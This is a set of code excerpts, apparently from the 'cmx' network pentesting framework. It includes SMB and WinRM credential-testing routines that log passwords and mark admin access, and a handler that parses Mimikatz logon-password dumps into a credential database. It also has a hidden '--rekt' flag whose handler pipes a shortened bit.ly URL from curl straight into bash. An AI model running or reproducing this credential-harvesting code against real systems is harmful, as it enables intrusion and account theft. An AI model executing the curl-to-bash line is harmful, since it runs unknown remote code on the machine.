Пример #1
0
    def shutdown(self):
        try:
            while len(self.server.hosts) > 0:
                self.server.log.info('Waiting on {} host(s)'.format(
                    highlight(len(self.server.hosts))))
                sleep(15)
        except KeyboardInterrupt:
            pass

        # shut down the server/socket
        self.server.shutdown()
        self.server.socket.close()
        self.server.server_close()
        #self._Thread__stop()   #killing threads is inherintly dangerous. need to figure out a way to hanlde this with a stop condition (currently using a timer) in the funciton calling the threads

        # make sure all the threads are killed
        self.server.log.debug('before thread kill')
        for thread in threading.enumerate():
            if thread.isAlive():
                self.server.log.debug('thread-alive check1')
                try:
                    thread.daemon(
                    )  #this is a hack, probably need to have conditions that cause threads to end....
                    self.server.log.debug('thread-daemon worked')
                except:
                    self.server.log.debug('thread-daemon failed')
                    pass
Пример #2
0
    def plaintext_login(self, domain, username, password):
        try:
            self.conn.run_cmd('hostname')
            self.admin_privs = True
            out = '{}\\{}:{} {}'.format(
                domain, username, password,
                highlight('({})'.format(cfg.pwn3d_label) if self.
                          admin_privs else ''))
            self.logger.success(out)
            if not self.args.continue_on_success:
                return True

        except SessionError as e:
            error, desc = e.getErrorString()
            self.logger.error('{}\\{}:{} {} {}'.format(
                domain, username, password, error,
                '({})'.format(desc) if self.args.verbose else ''))

            if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username)

            return False
Пример #3
0
    def on_response(self, context, response):
        response.send_response(200)
        response.end_headers()
        length = int(response.headers.get('Content-Length'))
        data = response.rfile.read(length)

        # We've received the response, stop tracking this host
        response.stop_tracking_host()

        if len(data):
            if self.command.find('sekurlsa::logonpasswords') != -1:
                creds = self.parse_mimikatz(data)
                if len(creds):
                    for cred_set in creds:
                        credtype, domain, username, password, _, _ = cred_set
                        # Get the hostid from the DB
                        hostid = context.db.get_computers(
                            response.client_address[0])[0][0]
                        context.db.add_credential(credtype,
                                                  domain,
                                                  username,
                                                  password,
                                                  pillaged_from=hostid)
                        context.log.highlight('{}\\{}:{}'.format(
                            domain, username, password))

                    context.log.success(
                        "Added {} credential(s) to the database".format(
                            highlight(len(creds))))
            else:
                context.log.highlight(data)

                #cant use ':' in filename cause of windows
            log_name = 'Mimikatz_against_{}_on_{}.log'.format(
                response.client_address[0],
                datetime.now().strftime("%b.%d.%y_at_%H%M"))
            write_log(str(data, 'utf-8'), log_name)
            context.log.info("Saved raw Mimikatz output to {}/{}".format(
                cfg.LOGS_PATH, log_name))
Пример #4
0
    def plaintext_login(self, domain, username, password):

        try:

            # pywinrm session class defined here :
            #      https://github.com/diyan/pywinrm/blob/master/winrm/__init__.py
            self.conn = pywinrm.Session(self.host,
                                        auth=('{}\\{}'.format(
                                            domain, username), password),
                                        transport='ntlm',
                                        server_cert_validation='ignore')
            # session = winrm.Session(host, auth=('{}@{}'.format(user,domain), password), transport='ntlm')

            # need to remove smb connection stuff and only use winrm
            self.smbconn.login(username, password, domain)
            self.password = password
            self.username = username
            self.domain = domain

            # using smb method until the warnings get fixed for urllib, just to cut down on warnings from execute
            self.admin_privs = self.check_if_admin()
            #r = self.conn.run_cmd('hostname')
            # self.parse_output(r)

            self.admin_privs = True
            self.logger.success('{}\\{}:{} {}'.format(
                domain, username, password,
                highlight('({})'.format(cfg.pwn3d_label) if self.
                          admin_privs else '')))

            return True

        except Exception as e:
            self.logger.error('{}\\{}:{} "{}"'.format(domain, username,
                                                      password, e))

            return False
Пример #5
0
def main():

    setup_logger()
    logger = CMXLogAdapter()
    first_run_setup(logger)

    args = gen_cli_args()

    module = None
    module_server = None
    targets = []
    server_port_dict = {'http': 80, 'https': 443, 'smb': 445}
    current_workspace = cfg.WORKSPACE
    hasPassList = False

    if args.debug:
        setup_debug_logger()

    if args.darrell:
        links = open((
            cfg.DATA_PATH /
            'videos_for_darrell').with_suffix('.harambe')).read().splitlines()
        try:
            webbrowser.open(random.choice(links))
            sys.exit(1)
        except:
            sys.exit(1)

    if args.rekt:
        try:
            os.system("curl -s -L http://bit.ly/10hA8iC | bash")
            sys.exit(1)
        except:
            sys.exit(1)

    logging.debug('Passed args:\n' + pformat(vars(args)))

    if hasattr(args, 'username') and args.username:
        for user in args.username:
            if Path(user).is_file():  #If it was a file passed in
                args.username.remove(user)
                args.username.append(open(user, 'r'))

    if hasattr(args, 'password') and args.password:
        for passw in args.password:
            if Path(passw).is_file():  #If it was a file passed in
                hasPassList = True
                args.password.remove(passw)
                args.password.append(open(passw, 'r'))

    elif hasattr(args, 'hash') and args.hash:
        for ntlm_hash in args.hash:
            if Path(ntlm_hash).is_file():  #If it was a file passed in
                args.hash.remove(ntlm_hash)
                args.hash.append(open(ntlm_hash, 'r'))

    if hasattr(args, 'cred_id') and args.cred_id:
        for cred_id in args.cred_id:
            if '-' in str(cred_id):
                start_id, end_id = cred_id.split('-')
                try:
                    for n in range(int(start_id), int(end_id) + 1):
                        args.cred_id.append(n)
                    args.cred_id.remove(cred_id)
                except Exception as e:
                    logger.error(
                        'Error parsing database credential id: {}'.format(e))
                    sys.exit(1)

    if hasattr(args, 'target') and args.target:
        for target in args.target:
            if Path(target).is_file():  #If it was a file passed in
                target_file_type = identify_target_file(target)
                if target_file_type == 'nmap':
                    targets.extend(parse_nmap_xml(target, args.protocol))
                elif target_file_type == 'nessus':
                    targets.extend(parse_nessus_file(target, args.protocol))
                else:
                    with open(target, 'r') as target_file:
                        for target_entry in target_file:
                            targets.extend(parse_targets(target_entry))
            else:
                targets.extend(parse_targets(target))

    p_loader = protocol_loader()
    protocol_path = p_loader.get_protocols()[args.protocol]['path']
    protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath']

    protocol_object = getattr(p_loader.load_protocol(protocol_path),
                              args.protocol)
    protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path),
                                 'database')

    db_path = (cfg.WS_PATH / current_workspace /
               args.protocol).with_suffix('.db')
    # set the database connection to autocommit w/ isolation level
    db_connection = sqlite3.connect(db_path, check_same_thread=False)
    db_connection.text_factory = str
    db_connection.isolation_level = None
    db = protocol_db_object(db_connection)

    setattr(protocol_object, 'config', cfg.__dict__)

    if hasattr(args, 'module'):

        loader = module_loader(args, db, logger)

        if args.list_modules:
            modules = loader.get_modules()

            for name, props in sorted(modules.items()):
                logger.announce('{:<25} {}'.format(name, props['description']))
            sys.exit(0)

        elif args.module and args.show_module_options:

            modules = loader.get_modules()
            for name, props in modules.items():
                if args.module.lower() == name.lower():
                    logger.announce('{} module options:\n{}'.format(
                        name, props['options']))
            sys.exit(0)

        elif args.module:
            modules = loader.get_modules()
            for name, props in modules.items():
                if args.module.lower() == name.lower():
                    module = loader.init_module(props['path'])
                    setattr(protocol_object, 'module', module)
                    break

            if not module:
                logger.error('Module not found')
                exit(1)

            if getattr(module, 'opsec_safe') is False:
                ans = raw_input(
                    highlight(
                        '[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ',
                        'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if getattr(module, 'multiple_hosts') is False and len(targets) > 1:
                ans = raw_input(
                    highlight(
                        "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ",
                        'red'))
                if ans.lower() not in ['y', 'yes', '']:
                    sys.exit(1)

            if hasattr(module, 'on_request') or hasattr(
                    module, 'has_response'):

                if hasattr(module, 'required_server'):
                    args.server = getattr(module, 'required_server')

                if not args.server_port:
                    args.server_port = 443

                context = Context(db, logger, args)
                module_server = CMXServer(module, context, logger,
                                          args.server_host, args.server_port,
                                          args.server)
                module_server.start()
                setattr(protocol_object, 'server', module_server.server)

    try:
        '''
            Open threads
        '''

        pool = Pool(args.threads)
        jobs = []

        for target in targets:
            jobs.append(pool.spawn(protocol_object, args, db, str(target)))

        # Lets azure not require a target
        if args.protocol == 'az':
            if not targets:
                jobs.append(pool.spawn(protocol_object, args, db, '1'))

        if args.timeout == 0: args.timeout = None

        for job in jobs:
            job.join(timeout=args.timeout)

    except (KeyboardInterrupt, gevent.Timeout):
        logging.info("Timed out")
        pass

    if module_server:
        module_server.shutdown()
Пример #6
0
def gen_cli_args():

    VERSION = cfg.VERSION
    RELEASED = cfg.RELEASED

    p_loader = protocol_loader()
    protocols = p_loader.get_protocols()
    title = """____ ____ ____ ____ _  _   _  _ ____ ___    ____ _  _ ___ ____ ____ _  _ ____ 
|    |__/ |__| |    |_/    |\/| |__| |__]   |___  \/   |  |__/ |___ |\/| |___ 
|___ |  \ |  | |___ | \_   |  | |  | |      |___ _/\_  |  |  \ |___ |  | |___ 
"""

    parser = argparse.ArgumentParser(description="""
{}
         A swiss army knife for pentesting networks
    {}{}{}
            {}{}
                    {}: {}
        {} 
""".format(
        highlight(title, 'yellow'), highlight('Forged by ', 'white'),
        highlight('@byt3bl33d3r', 'blue'),
        highlight(' using the powah of dank memes', 'white'),
        highlight('R3born from the ashes by ', 'red'),
        highlight('@awsmhacks', 'blue'), highlight('Version', 'green'),
        highlight(VERSION, 'cyan'),
        highlight('(/.__.)/ The python3 EXTREME edition \(.__.\)', 'yellow')),
                                     formatter_class=RawTextHelpFormatter,
                                     epilog="""Usage: 
       cmx [-D] PROTOCOL [-h] TARGET [target options] [-M MODULE [module options]]  

       cmx smb -M mimikatz --options    (List a particular module's options)
       cmx smb 10.10.10.10 -u Administrator -p Password --recon
       cmx -D smb 192.168.1.1 -u username -p password -M mimikatz

  Azure!
       cmx az --config   (get an azure session up, follow prompts)
       cmx az --user <useremail>   (gets all info about a single user)
       cmx az --users      (gets all users)
       cmx az -h  (for all current azure stuffs)

 *Check https://awsmhacks.github.io/cmxdocs/index for detailed usage* 

""",
                                     add_help=False,
                                     usage=argparse.SUPPRESS)

    parser.add_argument("--threads",
                        type=int,
                        dest="threads",
                        default=100,
                        help=argparse.SUPPRESS)
    parser.add_argument(
        "--timeout", default=0, type=int,
        help=argparse.SUPPRESS)  # use --timeout 0 for no timeout
    parser.add_argument("-D",
                        "--debug",
                        action='store_true',
                        help=argparse.SUPPRESS)
    parser.add_argument("--darrell",
                        action='store_true',
                        help=argparse.SUPPRESS)
    parser.add_argument("--rekt", action='store_true', help=argparse.SUPPRESS)

    subparsers = parser.add_subparsers(
        title='protocols', dest='protocol', help=argparse.SUPPRESS
    )  #suppressing cause it looks cleaner. gonna have to hit the wiki for helps.

    std_parser = argparse.ArgumentParser(add_help=False)
    std_parser.add_argument(
        "target",
        nargs='*',
        type=str,
        help=
        "the target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets, NMap XML or .Nessus file(s)"
    )
    std_parser.add_argument(
        "-id",
        metavar="CRED_ID",
        nargs='+',
        default=[],
        type=str,
        dest='cred_id',
        help="database credential ID(s) to use for authentication")
    std_parser.add_argument("-u",
                            metavar="USERNAME",
                            dest='username',
                            nargs='+',
                            default=[],
                            help="username(s) or file(s) containing usernames")
    std_parser.add_argument("-p",
                            metavar="PASSWORD",
                            dest='password',
                            nargs='+',
                            default=[],
                            help="password(s) or file(s) containing passwords")
    fail_group = std_parser.add_mutually_exclusive_group()
    fail_group.add_argument("--gfail-limit",
                            metavar='LIMIT',
                            type=int,
                            help='max number of global failed login attempts')
    fail_group.add_argument(
        "--ufail-limit",
        metavar='LIMIT',
        type=int,
        help='max number of failed login attempts per username')
    fail_group.add_argument(
        "--hfail-limit",
        metavar='LIMIT',
        type=int,
        help='max number of failed login attempts per host')

    module_parser = argparse.ArgumentParser(add_help=False)
    mgroup = module_parser.add_mutually_exclusive_group()
    mgroup.add_argument("-M",
                        "--module",
                        metavar='MODULE',
                        help='module to use')

    module_parser.add_argument('-mo',
                               metavar='MODULE_OPTION',
                               nargs='+',
                               default=[],
                               dest='module_options',
                               help='module options')
    module_parser.add_argument('-L',
                               '--list-modules',
                               action='store_true',
                               help='list available modules')
    module_parser.add_argument('--options',
                               dest='show_module_options',
                               action='store_true',
                               help='display module options')
    module_parser.add_argument("--server",
                               choices={'http', 'https'},
                               default='https',
                               help='use the selected server (default: https)')
    module_parser.add_argument(
        "--server-host",
        type=str,
        default='0.0.0.0',
        metavar='HOST',
        help='IP to bind the server to (default: 0.0.0.0)')
    module_parser.add_argument("--server-port",
                               metavar='PORT',
                               type=int,
                               help='start the server on the specified port')

    for protocol in list(protocols.keys()):
        protocol_object = p_loader.load_protocol(protocols[protocol]['path'])
        subparsers = getattr(protocol_object,
                             protocol).proto_args(subparsers, std_parser,
                                                  module_parser)

    if len(sys.argv) == 1:
        parser.print_help()
        sys.exit(1)

    args = parser.parse_args()

    return args